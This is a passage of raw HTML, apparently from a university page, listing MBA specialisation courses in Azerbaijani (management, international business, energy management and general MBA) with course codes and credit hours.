rgb(37, 37, 37);\">FIN 880</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Mühasibat uçotu və maliyyə təhlili</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr><tr><td width=\"31%\" width:31.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:10.1pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Menecment</p></td><td width=\"56%\" colspan=\"3\" width:56.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:10.1pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Aşağıdakı fənlərdən beşi seçilməlidir:</p></td><td width=\"12%\" width:12.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:10.1pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">IB 820</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Beynəlxalq biznes</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 825</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Menecment və qarşılıqlı beynəlxalq idarəetmə mühiti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 835</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Sahibkarlıq və biznes</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 845</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">İnsan qaynaqlarının idarə edilməsi</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 848</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Liderlik, hakimiyyət və idarəetmə siyasəti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 855</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Korporativ qərarların qəbul edilməsi və modelləşdirilməsi</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 890</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Qlobal təchizat və istehsal şəbəkəsinin&nbsp; menecmenti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;&nbsp;</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr><tr><td width=\"226\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:12.65pt\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"3\"></td><td width=\"334\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:12.65pt\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"71\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:12.65pt\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"88\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:12.65pt\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr></tbody></table><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:normal\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">&nbsp;</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Beynəlxalq Biznes</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"96%\" width:96.0%;margin-left:5.4pt;border-collapse:collapse;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\" style=\"box-sizing: border-box; border-spacing: 0px; border-collapse: collapse; background-color: rgb(255, 255, 255); border-style: solid; border-color: rgb(204, 204, 204); color: rgb(51, 51, 51); font-family: &quot;Source Sans Pro&quot;, sans-serif; font-size: 14px;\"><tbody><tr><td width=\"87%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:justify;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Aşağıdakı fənlərdən beşi seçilməlidir:</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">IB 810</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Müqayisəli biznes sistemləri</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">LAW 810</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Beynəlxalq biznes hüququ</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">IB 820</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Beynəlxalq biznes</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">IB 825</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Beynəlxalq biznes mühiti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 825</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Menecment və qarşılıqlı beynəlxalq idarəetmə mühiti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">FIN 845</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Beynəlxalq maliyyə</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MKT 850</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Beynəlxalq marketinq</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 890</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Qlobal təchizat və istehsal şəbəkəsinin&nbsp; menecmenti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Enerji menecmenti</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Aşağıdakı fənlərdən beşi seçilməlidir:</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">EMGT 830</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Enerji texnologiyaları və mühit</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">EMGT 810</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Enerji iqtisadiyyatı</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">EMGT 815</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Qlobal enerji təhlükəsizliyi və enerji geo- siyasəti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">EMGT 860</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Enerji layihələri,&nbsp;təchizat və istehsal şəbəkələrinin&nbsp; menecmenti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">EMGT 820</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Ətraf mühitin menecmenti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">EMGT 825</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Enerji resurslarının menecmenti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">EMGT 835</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Xəzər dənizinin enerji resursları və Xəzəryanı ölkələrin sosial inkişafı</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Ümumi&nbsp; MBA</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">( Biznesin idarə edilməsi)</p></td><td width=\"56%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">İxisaslaşma fənlərinin siyahısından beş uyğun fənni seçin</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">15</p></td></tr><tr><td width=\"31%\" width:31.0%;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e6e6e6;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">CƏMİ</p></td><td width=\"56%\" width:56.0%;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e6e6e6;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"12%\" 